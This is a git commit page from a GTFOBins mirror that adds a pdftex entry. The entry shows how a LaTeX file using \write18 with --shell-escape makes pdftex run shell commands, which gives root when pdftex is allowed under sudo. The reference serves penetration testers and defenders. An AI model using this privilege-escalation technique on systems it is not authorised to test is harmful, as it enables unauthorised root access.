1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Create pdftex.md

Add pdftex.
This commit is contained in:
SynackCerv 2021-04-22 22:13:29 +02:00 committed by GitHub
parent 8c08101fed
commit f0d733ef91
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

6
_gtfobins/pdftex.md Normal file
View File

@ -0,0 +1,6 @@
description: `pdftex` has a similar behaviour as [`tex`](/gtfobins/tex/)
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
pdftex -interaction=nonstopmode --shell-escape file.tex